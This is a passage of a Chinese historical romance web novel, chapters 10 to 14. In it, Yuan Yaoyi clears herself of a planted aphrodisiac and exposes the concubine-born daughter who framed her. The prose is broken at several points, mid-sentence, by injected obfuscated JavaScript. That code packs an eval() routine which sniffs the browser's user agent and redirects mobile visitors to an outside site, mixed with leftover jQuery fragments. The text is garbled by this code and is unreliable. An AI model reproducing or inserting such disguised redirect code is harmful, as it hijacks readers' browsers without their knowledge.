“对了,还有一件事,”纪映娘提高声量,“两日前袁瑶衣出过府,听说她去了兴安街。” 兴安街,便是闳州府的那条花街,百香楼在那儿,各色的销金窟、温柔乡也在那儿。 “怕不是去那儿买媚花散吧。”人群里,有人道了声。 事实好像浮出水面,袁瑶衣虽然被詹铎收下,但是并不得喜爱。她为了跟在这位世家子身边,又心生邪念,特意出府,去百香楼买了媚花散,想故技重施…… 现在,所有人看她的目光,竟是出奇的一致,她们已经认定媚花散是她的。 而当日,也是她算计了詹铎,意在攀附高门。 “袁瑶衣,”于氏声音发冷,手里的媚花散往前一扔,“你还有什么话说?” 那包媚花散正落在袁瑶衣三步外,折叠的小而方正。 她低头看着,这是什么?人证,物证吗?那她又该说什么? 说那盒香料是周巧月给的,她没打开过;说自己去兴安街,是因为月信的事? 谁会信呢?谁又会真的为她做主呢? 她是一个平头女子,没有地位,只需周家任何人的一句话,便会将她处理掉。她若真的扯上周巧月,于氏定然是会护着女儿,她实在可有可无。并且,真的收拾了她,对詹铎而言,何尝不是顺理成章处理掉一个包袱…… 毕竟,不是搜出了这包媚花散吗? “说,”于氏的声音拉高,面色跟着发沉,“这媚花散哪儿来的?” 袁瑶衣深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12871991|134955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸一气,抬起头。四下低语未曾间断,所有人认定这媚花散是她的,也认定当日与詹铎的荒唐,是她故意所为。 “媚花散,”她舌尖送出这三个字,目光看去前方,“纪姑娘是怎么断定这就是?” 她出口的声音平静,带着让人不易察觉的微颤,就这样直盯着纪映娘。 谁也没想到袁瑶衣不回于氏,而是先问纪映娘。这样一想,似乎是察觉有些地方不对劲儿,比如这媚花散乃阴邪之物,正常的好姑娘哪会知道这个? “这,这,”纪映娘口齿支吾,往前上了两步,“是不是,找人来查验一下不就明白了。” 这话说的有些没道理,先前一口咬定是媚花散,这厢又找人来查验,若不是那可就闹大了笑话。 袁瑶衣没有提让人来查验,心知地上的这包实打实是媚花散。 是谁,想要这样害她?是周家、是詹铎,是给她下的一个绳套? 詹铎这两日正不在府中,她有了错处,顺理成章的除掉…… “这东西不是我的,”她开口,在一束束目光下为自己辩驳,“至于兴安街,我的确去过。” 没有人会帮她说话,这种高门中,死个无足轻重的人又不是什么大事儿。所以,她只能自己争。 “姑母,你看她承认去了。”纪映娘好像听到了了不得事,赶紧道。 于氏皱眉,事情闹到这里,必然是要有一个结果。她心中盘算着,不让自己女儿沾上这件事:“你去那种地方做什么?” 所有人看着袁瑶衣,冬日里的女子衣着简单,一条浅素的斗篷包裹着她,难掩身型的单薄柔弱。可是偏偏站在那儿,又有种折不弯的气质,恰似身后的那一株冬梅。 这若放在别的女子身上,现在恐怕已经六神无主、泣不成声。 袁瑶衣深知,慌乱和哭泣是没有用的,这里没人会给以怜悯:“我去了一件医馆,开了一副药。” 站在一旁,早已急得不行的连婶忙接话解释道:“夫人,瑶衣娘子是去给我拿的药,我夜里总睡不好……” “不是,”袁瑶衣看着连婶,眼中有一线感激,终究有人在意她,“连婶,我是给自己抓药。” 于氏拢拢披风,道声:“府中有药,为何自己去医馆。” 袁瑶衣抿抿唇:“我的……” “夫人,”一个婆子跑过来,利落的到了于氏跟前,“詹家公子回来了。” 场面立时静下来,谁也没想到这个时候,詹铎回了周家。 这头婆子刚禀报完,便看见颀长的男子身形往这边走来,容貌出色,脚步端方,一套修身冬袍衬得肩宽腰窄。 原先冷着脸的于氏有了笑容,亲切道声:“外面的事做完了?” 詹铎道声是,对于氏微欠了下腰,随之身形站直,冷淡的眉眼看去前面:“她,是做错了什么吗?” 隔着几步,他看着袁瑶衣。 梅树下,女子纤柔而立,不知是不是觉得冷,面色雪白。一双眼睛比之前明亮太多,可若细看,明明在眼角晕着一点儿湿润…… 11.第 11 章 没人想到詹铎会在这个时候回来,他当然不会过问周家的事,如今到这边来,应当是有人告知了他袁瑶衣的事。 毕竟,都知道他是袁瑶衣的夫主。 于氏见了,笑了声:“这不闹出点儿小故事,不是什么大事儿。” 当着这么多人的面儿,于氏自然得顾及詹铎和詹家的面子。 “来人,将夫人姑娘们带去花厅,”于氏眼神示意身旁的婆子,转而看着詹铎继续道,“咱们先进学塾堂阁说说话。” 事情不易闹大,那就几个人关上门来说。左右袁瑶衣如今是詹铎的人,媚花散的事一说,他怎么处理,周家这边帮着便是。 说到底,不过就是个平头女子。 见状,纪映娘扯扯于氏的袖子:“可是姑母……” “你也下去。”于氏不着痕迹抽回袖子,眼中闪过不耐烦。要不是这个没眼色的侄女儿,何至于这样喜乐的日子,她来操心这麻烦事? 到了这儿,谁还不明白?众人开始移动步子,跟着仆从去花厅。 “我,还有话说。”一声轻柔的女子声线传来,不轻不重的。 是袁瑶衣,她还站在梅树下,话音一落,所有目光重新落回到她身上,其中包括詹铎那略冷的视线。 于氏脸上笑着,指着旁边的堂阁:“有话咱们去里面说。” 袁瑶衣深吸一气,努力让嘴角勾出一弯弧度:“在这里也可以说的。” 不少人的面上闪过诧异,以为自己听错了。这女子莫不是个傻的?媚花散是从她屋里找到的,种种的都指向是她当日算计的詹铎。这厢于氏给了台阶,去屋里说话,她要是聪明就坦白告饶,詹铎出自世家大族,两人有了肌肤之亲,自然不会真的要了她的命。 她倒好,还想站在这里说。一个没权没势的女子,没读过什么书,能说清什么? 不知深浅。 詹铎眉头微不可觉得蹙了下,遂往前走了两步。他身高腿长,几下到了袁瑶衣的身前:“去里面说。” 他的声音清疏,似乎对于这里发生了什么并不在意。视线里,女子微低着头颅,面上是惯常的恬静温顺。 袁瑶衣眼睫颤了两颤,面前是男子颀长的身形,有着独属于他的疏冷和清傲,会迫着人在他面前低下头去。 她仰起脸,对上他的眼睛,然后身形一侧,走去了他边上。 詹铎薄唇抿平,她没有像之前那样顺从的回应他。余光中,她在他的身侧站好、蹲下…… “这个,”袁瑶衣弯腰蹲下,捡起地上的那包媚花散,“不是我的。” 她身形纤纤柔柔的,缓缓站起来,声音和软,但是每一个字清晰无比。 自始至终,她的人和事都掌握在别人手里。刚才的众目睽睽审判,现在的为了詹铎脸面而大事压小。好似,她就该一直听从着安排,受罚、奖赏,不该有自己的想法和主意,真如一件物什般。 站好后,她再次对上詹铎的眼睛,里头仍旧毫无情绪。又或者,他内心已经怒了。 她别开眼睛,往旁边站开了两步:“我去兴安街的医馆,是因为月信迟迟不来。” 说出话的同时,她才明白,心里的那处伤口远比想象中更痛楚。如此血粼粼的狰狞,还是她自己亲自撕开。 既然无人会为她诉说,那只能自己挣一挣。她没有做过的事情就是没做,为何要去跟别人要恩赏才能活下去? 这一声月信不来,懂得人都懂,尤其是那些见过许多事的夫人们。 于氏听得头大,事情现在已经难以掌控,脸上笑容也变得僵硬:“咱们府中不是有郎中,跑去那么大老远。” 袁瑶衣心道,周家的郎中她哪敢找?说不准到时候,稀里糊涂的没了命,她和詹铎的那晚荒唐,已经让她看清了很多。 “你,”詹铎唇角动了动,眼底滑过一抹复杂,“郎中怎么说?” “郎中给开了药,说调理下就好。”袁瑶衣看着他,干脆直接的说出。 詹铎眼角压了下,看清了面前女子眼中的坚忍,其中还掺杂着一缕清亮的庆幸。 庆幸?是庆幸没有怀上他的骨肉吗? 这时,派去虹宇院的几个婆子回来,将一包药交到于氏手中。一起来的,还有府中的那位郎中。 于氏让郎中说说这药,郎中如实说,这药是调理女子内里的药,很常见,府中姑娘们有不舒服,他也会让人去抓这药。 “可是,”纪映娘突兀的声音响起,“就算她去医馆抓药,可不代表她没去买过媚花散……” “够了,”詹铎开口打断,声音几分清冷,“她不会去。” 袁瑶衣那副胆小的样子,怎么可能用媚花散?况且,若真是她,那晚她也就不必逃了。 袁瑶衣微诧,抬眼看他,他正从她面前转身看去于氏的方向,这样一动,倒是他半面的身形挡在她身前。 于氏正好也想结束这场闹剧,便道:“那便好了,咱们……” “夫人,”袁瑶衣唤了声,从詹铎身后站出来,“我是没去,但是事情还没弄明白。” 她知道,詹铎的一句话会保住她,可并不会洗干净背在她身上的流言,反而会一辈子伴随着这个污名。她已经撕开伤口,索性拼个清楚。 不等别人相问,同样忽略詹铎的目光,她下颌微扬:“府里一定派人去了兴安街,相信很快会回来,到时能证明我买没买过媚花散。” 于氏没想到袁瑶衣这样直接说出来,自然是有人去了兴安街,而且是虹宇院一出事就派了人去,毕竟那里都是老夫人安排的人。相信老夫人那儿定也早知道此事,看来势必是要有一个结果。 见所有人看着自己,袁瑶衣又道:“我还想说,老太爷寿辰那日,我也没用过。” 到底还是说起了那日,不愿去想,总觉得过了很久,可说着,又总觉得一切就发生在昨日。 胸口憋闷着,似乎是心底下意识的抗拒。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12885254|134955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 人群中有吸气声,因为这件事周家是压下的,并不想再提。现下这样明着挑出来是头一遭,还是从出事的女子口中说出,肯定有人觉得惊诧。 袁瑶衣耳中嗡嗡的响,继续道:“那日出事,我其实觉察到了不对劲儿,是香炉,里面的香不对劲儿。” 她脸色渐渐苍白,努力回想着那天。她该是进错了房,房里点着香,开始没觉得什么,后来神智迷蒙起来,晕晕沉沉又难受,迷迷糊糊着,好似有个人到了身边,她抓上了那人的手…… “香炉?”于氏皱眉,刻意去看詹铎,见他脸上并无表情,完全猜不出在想什么。 袁瑶衣点头,声音弱小了些:“对,夫人让人去查查,里面是否有问题。” 现在想起来,要不是香炉有问题,何至于她会稀里糊涂、神志不清?而且她问阿素打听过,自从出事后,那间屋子便被封了,谁也不许进去,更不许提此事,那么,香炉就一定还在。 “你,”詹铎眼帘微垂,注视上女子小小的脸庞,“真要查?” 到了这里,他如何还看不出她想做什么? 袁瑶衣看他,轻颔了下首,抿抿唇没说什么。这件事对詹铎来说实在无足轻重,要做的无非就是安置好她;而她不行,说不清,便永远是个算计着往上爬的心机女子,自毁名誉,也抹不去别人眼中的轻蔑之意。 有婆子得了于氏的示意,离开了这儿,显而易见是去找那个香炉。 场面一时鸦雀无声,一通来回,已经过了晌午,没人提什么午宴,只想着看这闹剧的结果。 香炉还没找来,倒是去兴安街的人回来了,并带回了一个少年。 袁瑶衣认得那少年,便是驿馆郎中的小学徒,进来周家这样的地方,显得很是拘谨,半弯着腰不敢抬头。 于氏自然得问问,得到的结果和袁瑶衣说得一模一样。至于媚花散的事儿,家仆则小声在于氏耳边说了,别人并未听见。 于氏的脸色瞬间沉了几分,往周巧月那边扫了眼。 “姑母,怎么了?”纪映娘问了声,因为她正好站在周巧月边上,猜不出于氏是不是在瞅她。 “夫人,我这里还有样东西。”袁瑶衣往前一步,不给于氏喘息的机会,从身上掏出一块帕子,往前一送,“这是那日,我在房中捡到的,夫人掌管府里,想必能找出是谁的。” 方方正正的一面罗帕,在角上绣了一枝桃花。 那日她些许清醒后,踉跄着往屋外跑,脚下踩到了这方帕子。后来捡起来一直藏着,心知一定与自己出事有关。 于氏僵硬的扯出一个笑,接过那枚帕子:“府里这么大,待我细细查下。” 这时,派出去的婆子回来,手里捧着个精致的香炉,正是从那房中取来的。 袁瑶衣轻叹一声,而后转头看去人群,清亮的眼睛盯上一个人:“帕子是她的吧?” 人群中,那女子瑟瑟一抖,瞪大的眼睛中全是不可置信。 12.第 12 章 随着袁瑶衣的抬手一指,所有人的目光亦循着看了过去。那里站着几个女子,全是周家的姑娘。 姑娘们登时神色各异,有的愤怒,有的懵然…… “袁瑶衣,你什么意思?”周巧月脸色一白,她站在前头,怎么看袁瑶衣的那根手指,也是指向她的。 袁瑶衣面上倒也平静,软唇动了下:“姿姑娘。” “什么?”周巧月一怔,随之身形一侧,便显出了一直站在她身后的庶妹。 周巧姿低着头,双手紧紧捏在一起,能看出她浑身在抖。 四下响起窸窸窣窣的低语声,说怎么会是她?这个周家大房的庶女从来懦弱胆小,说话声音更不敢大一点儿…… 于氏现下头疼的很,可詹铎在场,也只能继续往下说:“瑶衣,一枚帕子而已,怎么确定是姿儿的?” 袁瑶衣料想事情不会顺利,周巧姿是不受待见的庶女,但到底称于氏一声母亲。面子上,于氏是会袒护,更何况牵扯算计詹铎,大房怎会愿意背上这个罪名? “原本我也不知道,直到我第一日去学塾,下学时在游廊上碰到过周巧姿。她当时抬袖子时,露出一截内袖,上头绣着一模一样的桃枝。” 她面上平静,心里波澜起伏,至今记得当时的震惊,好容易才压下。那时,纪映娘不明就里,走回来讥讽她是准备帮周巧姿吗? “没有,我没有!”周巧姿哭出声来,几步跑到于氏面前跪下,“母亲给姿儿做主。” 见状,周巧月脸上嫌弃:“哭什么哭,有没有做过,母亲会还你公道,如此没有规矩。” 如此行为无状,倒连平常人家出身的袁瑶衣都不如。当然,经此一提,她倒也开始回想起当日之事。 袁瑶衣一直等着于氏说话,她不可能支使人去周巧月房中搜找迷香和那件衣裳,只能是于氏决定。 余光中,身旁的詹铎笔直站立,不言不语的看着这一切,不知在想什么。 “夫人,不信我吗?”她轻声道,明明是简单一搜就知道的事,于氏迟迟不开口,只能说明心中有顾忌。 “我看见过。”一声清脆的女童声音传来。 接着,裹着红色裘绒斗篷耿芷蝶站出来,指着于氏手里的帕子:“我看见过周二姑娘的袖口,有一模一样的桃花绣。” 袁瑶衣看去前面小小的身影,着实没想到耿芷蝶会站出来为她证明。她以为小姑娘知道了她的身份,会避开的。 “事情很简单,去二姑娘房里找找不就好了?既然瑶衣姐姐房里可以搜,别人的当然也可以。”小姑娘眼睛清澈,回头来看向詹铎,“这样才公平是吧,铎哥哥?” 詹铎颔了下首,自唇边送出清淡的音调:“是这样。” 最简单不过的三个字,给出了他的态度。 于氏冷淡的看了眼跪在地上的周巧姿,两排牙齿狠狠的一磨:“来人,去二姑娘房里搜!” 话音落,候在一旁的婆子利落应下,手一挥便带着几人去往周巧姿住处。 再观周巧姿,竟是身子一软,直接瘫坐在地上,犹如寒风中飘零的枯叶。 “是不是你干的?”周巧月火气上来,有些事情突然就这里理通了,“你把那脏东西塞进我的香料盒,是想嫁祸我,还是借我手除掉袁瑶衣?” 于氏皱眉:“月儿?” 周巧月被骄纵惯了,哪里容得一个庶女算计:“娘,这一幕不熟悉吗?她还真是深得她生身母亲的真传,一把子好手段,如今都敢算计道詹家表哥身上?” 提起周巧姿生母,原是个洗脚婢,后来用了手段怀上孩子才给了身份。可是大爷并不宠爱,于氏更是反感,以至于后面人死了,留下的这个女儿也看不顺眼。 这些事,周家人都知道。 “我娘没有错!”周巧姿抬起头,一脸的泪,“是你们,一个个的逼得她没了活路。” 于氏听了,嘴角一硬:“没人逼她,她自己选的路,至于走成什么结果,那也是她自己的事儿,怨不得别人。” 看着周家大房的三个女人一来一回争执,袁瑶衣静静站着,一片混乱中,她觉得于氏说的这句话很对,自己选的路自己走。 很快,婆子抱着一件衣裳回来。于氏让当众展开,袖中上果然绣着一截桃花枝,对比帕子可不是一模一样? “孽障,还有什么话说?”于氏将衣裳往周巧姿面前一扔,气得胸口起伏。 至于能不能搜到迷香已经不重要,只需证明现在的香炉中有便行,周家真要查也不是难事儿,不过是之前想压下此事而已。 周巧姿形容狼狈,哑着嗓子:“一枚帕子,她说在哪里捡到的都行,谁能证明?都是欺辱我罢了。” “你,”于氏抬手点着周巧姿,“还是不认是吧?” “自然,”一道清越的声音响起,带着明显的清冷,“没人证明这帕子是袁瑶衣从何处得来,也可能是她在学塾中捡到。” 众人看去詹铎,他神情疏淡,看了眼身旁的袁瑶衣。 袁瑶衣心中咯噔一下,对上他的眼睛微愣,不明白他为何这样说。的确,她见到帕子的时候,没有人能证明。 詹铎原想收回的视线停了一瞬,在女子的眼底发现一抹茫然,却又很快消失,让人以为是错觉。明明一副柔弱模样,偏偏带着一种委屈的倔强。 “夫人,那便说说百花楼那边回来的结果。”他移开目光,看去前面。 众人恍然,单顾着看眼前的,却忘了前头从兴安街回来的人,那医馆的小学徒都还站在那儿呢,怎的不提百花楼的事了。 于氏手心一攥,面上还端着当家夫人的派头:“是我管教无方,竟让庶女在眼皮底下做出这种事。” 婆子见状,接过话去说,的确是周巧姿让人买的媚花散。虽然辗转过几人,但是顺着摸下来,也算是查了清楚。 到这里,事情彻底明了开。是大房的庶女心怀不正,在老太爷那日算计,结果出了岔子,袁瑶衣走错屋子阴差阳错。 所有鄙夷与不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902428|134955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屑的目光投向周巧姿,像一柄柄利剑,似要将她剐个干净。 当初,袁瑶衣承受的比这些还要多,甚至父亲将她放弃,那些昏暗的日子,她努力撑着。 她往詹铎看了眼,有那么一点意外,他会出声帮她。他是朝中新贵,此番回京述职,明眼人都知道会被官家给与奖赏,她这个意外的包袱,他其实可以装作不知,任凭周家处理掉。 要说这件荒唐事,周家要查的话一点儿也不难,大概也知道是府中的姑娘所为。可他们只顾及自己的高门颜面,随手简单的压下,把她像礼物般送给詹铎,因为在他们权贵眼中,她什么都不算,更不会给什么公平和清白。 所以她自己拼,即便不知道后果,也要将身上的污名洗干净。 恰巧,詹铎往她这边看,她一愣,眼中蔓延的神思未有收回去。恍惚间,瞧着他的神情似乎轻缓了些,冷淡的眉眼间沾着看不出的情绪。 “我想起来了,”周巧月往于氏身旁一站,指着周巧姿,“祖父生辰那晚,娘你叫我们过去,她一直魂不守舍的,又说自己头疼肚子疼的,原来那时你已经用了那脏药吧。” 纪映娘也怯怯跟着出声:“是姿姑娘跟我说,袁瑶衣去过百香楼,所以我才去的虹宇院。” 于氏不想让自己女儿沾上这事儿,便当着众人道:“那晚是我留住这俩姐妹,想着姿儿到了年纪,跟她谈议亲的事……” “议亲?”周巧姿惨笑一声,狠狠瞪着一双泪眼,“把我送给个老头子续弦,我不答应,就把我关起来!” 于氏脸色一变,对身边人使了眼色:“还想胡说八道,带她下去。” 几个粗壮的婆子上去,抓小鸡仔般扭着周巧姿,手里没有一点儿怜香惜玉,拖着就走。 经过袁瑶衣时,她往旁边一让,正对上周巧姿那双愤恨的眼。 “我没错,我只是想自己过得好些……”话未说完,婆子那块布团给周巧姿塞了嘴。 真相明了,事情结束,仆从们领着夫人姑娘们离开,接下来的宴席怕也是没滋没味了。 袁瑶衣的心里舒缓许多,她不想去花厅,转身朝着人群相反的方向走去。明明也是走过多次的路,但仍觉得陌生。 天空飘下雪丝,清冷干净,点点零落着。 她仰起脸,一双漂亮的眼睛眯起,软软的嘴角弯出一抹笑容。真好,她不用再背负着污名。 “袁瑶衣。”有人唤了声。 袁瑶衣回头,见着走来的詹铎,他手中擎着一柄伞,转眼间便到了跟前。 她眨了下眼睫,光线一暗,伞面遮上了她的头顶,挡住落下的冰凉。男人的身形立在了面前,很高,她需得仰起脸看他。 两人相对而站,同遮一柄伞,之间隔着些许的距离。 袁瑶衣回神,脚跟下意识想后退,并真的后挪了下。 “你受委屈了。”詹铎注视着她略苍白的脸,卷翘的眼睫上,沾着湿润。 不知是雪丝化了,还是她眼角沁出的泪。 13.第 13 章 四下静谧,连婶已经悄悄走开,临了担忧的看了眼伞下的一对男女。 下雪天,往往不会觉得多冷,反而有种世界静下来的清净感。 袁瑶衣后移的脚跟落下,因着裙摆的遮挡,倒不觉得有多大的动作。实际上,也的确相当于没动。 今天这一出闹得很大,她明白。心中也想着,后面等着自己的怕是不会太好。可方才詹铎说,她受委屈了…… “没有。”她喉间酸涩,出来的嗓音跟着发哑。 这样近,她离着他。能看清晰他的脸,抛却他眉眼间的那股冷傲,实际上他每一处五官很精致,尤其眼睛,但是组合在一起却没有一点儿阴柔气。 还是第一次,认真的看清他这张脸。 雪瞬间大了些,伞面被砸的沙沙作响。一柄伞的周围,萦绕的飞舞的雪絮,如同要埋掉什么般。 “这件事会给你交代。”詹铎开口,话语中多了丝轻缓。 袁瑶衣摇头,嘴角扯了下:“已经过去了。公子事忙,别为这些分神。” 她已经证明自己,不想再大肆扩大,于她又没有益处。 詹铎薄唇抿平,垂眸看着面前女子。他常年在军营中,对后宅的事情并不愿关注,更不会去在意一个女子想什么、做什么。 就像袁瑶衣在周家过得怎么样,他其实并不知道。不过是平日中偶尔看到她,她又不言不语,他便觉得她过得不错,周家人将她照顾的很好。 可若细看,她眼中明明有忧伤。 也对,他这样一个男子都不愿提当日事,更何况一个女子?她得是多大的勇气,才会站出来当众扯开伤口? “别掐了。”他道了声。 “嗯?”袁瑶衣眼中闪过疑惑,没猜透詹铎的意思。 她看他,见他身形微微倾过来,一缕鼻息洒在她的脸颊。她心中一慌,想要后退,还未来得及动弹,手腕被他给握住。 “把手松开吧。”詹铎低头,看着手里紧握的小拳头。 袁瑶衣恍然回神,原来她一直攥着拳头,哪怕事情真的结束了,残余的紧张仍旧支配着她。 就这般似退非退的,她仍旧站在他的伞下。而他左手撑伞,有伤的右臂抬着,手指一根根的把她的小拳头掰开。 摊开的掌心上,是被指甲掐着留下的一道道印痕,着实狰狞。 或许是掌心松了,袁瑶衣的肩头也跟着一松,不习惯别人碰自己的手,她忙抽了回来。 也许抽得急了,她听见詹铎浅浅的一声抽气,眉头跟着拧了下。后知后觉,他的右臂上有伤:“公子的伤……” 一时不知该怎么说,话停在半截处。 詹铎手里一空,指尖只觉滑过一抹柔腻,留下一点微痒:“没大碍。” 一点儿小伤,几日就会好,他没有放在心上。 看到她脸上闪过的紧张,发现他之前对她并没多少在意。派人接她过来的是他,当初也承诺过给她交代,实际上,他什么都没做,她虽和他同住虹宇院,但她一直还是由周家人安排。 他没有管过她。 “回去后,”他语调顿了顿,手落回身侧,“上点儿药。” 袁瑶衣点头,这厢终于感觉到手心火辣辣的,不在意间,竟然掐得这样厉害。 她往后退了一步,从伞下出来,亦离开了詹铎的身前,整个人站在雪里:“公子忙,我先……” “袁瑶衣,”詹铎唤了声,明明他的话还没说完,她就想离开,“晚些时候,我让郎中去你那儿,你真的没有?” 袁瑶衣意识到他问的什么,摇头道:“没有。” 没有身孕,只是月信紊乱而已。 “好,”詹铎应声,跟着往前两步,“回去吧,拿着这个。” 说着,他把伞柄塞去袁瑶衣手里。 袁瑶衣想说不用,对方已经退开来,眼看便是要走的样子。毕竟他许多事情要做,留在这儿浪费了许多功夫。 “你以后有什么事,便与我来说就好。”詹铎薄道声,随后转身离开了这儿。 万物萧条,飞雪漫天。 很快,男子的身影便消失在雪中,留下一片寂静的园子。 袁瑶衣舒出一口气,经此一遭,只觉浑身力气耗光,虚得厉害。可心中是轻快的,一直压着的委屈阴霾扫了干净。 刚才詹铎同她说的话,比这些日子加起来的都多。看样子,他没打算罚她,可能世家子弟大概极在乎声誉吧。这样也好,他既不是那么不好说话的,她待日后要走,商量起来也省事儿。 。 “谁能想到呢,平时看着不言不语一副温顺样子,”连婶啧啧两声,弯腰往炭盆中添了两块炭,“心思这样毒。” 袁瑶衣正在喝药,缓了半天,身子终于暖和过来。 如今,周巧姿的事儿已经传遍周家,甚至外头也开始传,想压是压不住的。 连婶见袁瑶衣不说话,一脸气不过:“你说她已经害了你一次,干嘛还要再陷害你?那包害人的媚花散,随便扔了就好。” “可能,觉得是我抢了她的吧?”袁瑶衣不能一直不回应,随意回了声。 连婶点头:“我看就是。她千方百计设计的,到头来什么没有,心里头不甘。可她来虹宇院太扎眼,便拿了月姑娘当枪使咯。” 周巧月的脾气,周家人谁不知道?怕是这次不会放过周巧姿了。 袁瑶衣放下药碗,想着自己接下来回家的事儿。她知道詹铎随时会回京,可没有功夫让她耽搁。 可是看看外头的雪,这要是下大了,还不知什么时候才能回家。 “娘子现在该放心了,”连婶不知道袁瑶衣在想什么,收了药碗回托盘上,“公子找来的郎中定是好的,你好好调理就行,旁的别去多想。” 袁瑶衣道声好,喝了药后,果然觉得身体里暖暖的舒服。 这时,屋门被敲响,连婶利落过去开了门。 棉门帘才将卷起来,一个灵活的小身影便钻进了屋中。 “瑶衣姐姐。”是耿芷蝶,披着一件裘绒斗篷,圆团团的脸儿藏在兜帽下。 袁瑶衣没想到耿芷蝶会来,从凳上站起:“蝶姑娘。” 白日里在诗会上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914023|134955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关键时候是这小姑娘帮她说话,也令她意外。 耿芷蝶把斗篷一脱,欢快到了袁瑶衣身旁,小手里攥着把苇草:“今天你教我编别的好不好?” 闻言,袁瑶衣噗嗤笑出声,仿佛看到了自己的妹妹,也是这样的年纪,不知道什么是忧愁。 “好。”她应下,左右没什么事,有人陪着说话也不错。 耿芷蝶高兴地裂开嘴笑,手一挥,跟来的婆子将一些礼物放去墙边桌上,连婶忙上前客气招待。 袁瑶衣和耿芷蝶坐去桌边,两人开始编苇草。 “你会跟着铎哥哥一起回国公府吧?”耿芷蝶眨着一双大眼,“那我们一路作伴了。” 袁瑶衣眼帘微垂,手里捋着草叶:“嗯。” 会去,严格上讲,她是想去京城。至于国公府,当然不是她的归宿。 耿芷蝶装作大人样子长叹一声:“害我这两天都不敢和你说话,憋死我了。” “为何?”袁瑶衣被逗笑。 耿芷蝶半面小身子趴在桌面上,一脸认真:“你不知道,铎哥哥可严格了,我爹让他管着我。要是他知道我不读书,而跟你学草编,他肯定得说教我。而且,我也怕他罚你。” 小姑娘有话就说,这厢,袁瑶衣也便知道为何这两日对方没再接近自己。 要说起来,詹铎平时是总冷着一张脸,也难怪耿芷蝶会觉得怕。 “那你怎么又来了?”她问,拉过耿芷蝶的手,教着编法。 小丫头嘿嘿一笑:“我知道他今晚不回来。再说,你受了那么大委屈,我是过来探望你的。” 她说得有模有样,袁瑶衣便跟着笑。若是去京城的路上有这个小姑娘,确实比对着詹铎来的舒心。 “等回了京,我就编给阿姐看。”耿芷蝶举起手中潦草的草编,眼里尽是满意,“可惜她捞不着出门,也就是我还小,让我出来看看。女子长大了真麻烦,还得议亲事。” 袁瑶衣记起来,当日纪映娘说过,詹家和耿家是世交,两家有意议亲,合适人选便是詹铎和耿家大姑娘。 不知为何,她心中没有多余的情绪,哪怕现在詹铎算是她的夫主。要硬说有什么的话,便是门当户对的般配吧。 所以,没有期望,心境便会平顺。 又过了一会儿,婆子让耿芷蝶回去,说是天太晚了。 小姑娘磨蹭好一会儿,才离开了虹宇院,西厢房跟着安静下来。 才要将院门下闩,不想又有人来了虹宇院。 这次,袁瑶衣披了件斗篷出来,到院里迎接,仆从正利落的在院中扫雪,清理出道儿来。 院门处,先进来两个婆子,规矩的往两旁一站。而后,一个女子走进来,裹着厚实的披风,身边婢子给她撑着伞。 袁瑶衣秀眉一蹙,看着周巧月走近,后面还跟着纪映娘。 待走到隔着几步远,周巧月停住,手从斗篷下伸出,抓上一旁的纪映娘,往前一推。 “去给她道歉。”周巧月道声。 纪映娘身形一个趔趄,脚在雪上一滑,竟然直接跌倒在袁瑶衣脚边。 14.第 14 章 袁瑶衣退后一步,低头看着趴在地上的纪映娘。 对方定然是摔痛了,嘴里抽泣的哼唧着,四下站了几个人,却无一上前去搀扶。 “说吧,你都做了什么?”周巧月道声,下颌倨傲的抬起,看纪映娘的目光带着一丝厌恶。 纪映娘因为腿疼而站不起,只能撑着坐在雪地里:“表姐,她不过一个平头人家女子……” 她哭哭啼啼的,仰起的脸上沾了雪,显得好生滑稽,偏偏还抹了把脸,直接成了戏台上那花脸伶人。 有那婢子忍不住,噗嗤笑出声来。 袁瑶衣也疑惑,大晚上的周巧月突然过来。如今看着架势,是让纪映娘跟自己道歉? 见纪映娘嘴里还在犟,周巧月没去理会,而是看向袁瑶衣:“袁瑶衣,白日里的事是你受委屈。映娘挑起的事端,她欠你一个道歉。” 要说今日的事,揪出的幕后人是周巧姿,可一开始的确是纪映娘挑起。 “谢大姑娘做主。”袁瑶衣微一弯腰,算是感谢。 